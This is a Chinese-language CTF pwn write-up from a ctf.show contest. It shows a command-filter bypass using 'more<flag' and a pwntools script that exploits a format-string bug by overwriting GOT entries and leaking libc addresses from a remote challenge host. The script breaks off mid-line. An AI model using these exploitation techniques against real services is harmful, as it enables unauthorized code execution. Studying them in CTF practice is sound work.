PWN WP
感谢1p0ch师傅
最近参加了ctf.show举办的一个比赛,做了一下pwn题,以下是我的一些wp,由于本人能力有限,菜的一批,如果有什么不对的地方,请多包含。
PWN_签到
签到题直接nc上去以后发现考察的是linux的基本操作,程序过滤掉了空格,cat,但是我们可以ls查看
more<flag 这里<可以绕过空格
PWN_babyFmtstr
格式化字符串漏洞,我们可以修改got表,这样就有一个无限格式化字符串漏洞的程序了。
#! /usr/bin/env python
from pwn import *
from LibcSearcher import *
sh=remote('124.156.121.112',28028)
#sh=process('./pwn2')
elf=ELF('./pwn2')
#context.log_level='debug'
puts_got=elf.got['puts']
printf_got=elf.got['printf']
memset_addr=elf.got['memset']
#0x0400AA0
payload1='%64c%11$hn%2656c%12$hnAA'+p64(memset_addr+2)+p64(memset_addr)
#gdb.attach(sh)
sh.sendline(payload1)
payload2='AAAA%9$s'+p64(puts_got)
sh.recvuntil('please input name:\n')
#gdb.attach(sh)
sh.sendline(payload2)
sh.recvuntil('Hello AAAA')
puts_addr=u64(sh.recv(6).ljust(8,'\x00'))
print ('puts_addr:' +hex(pu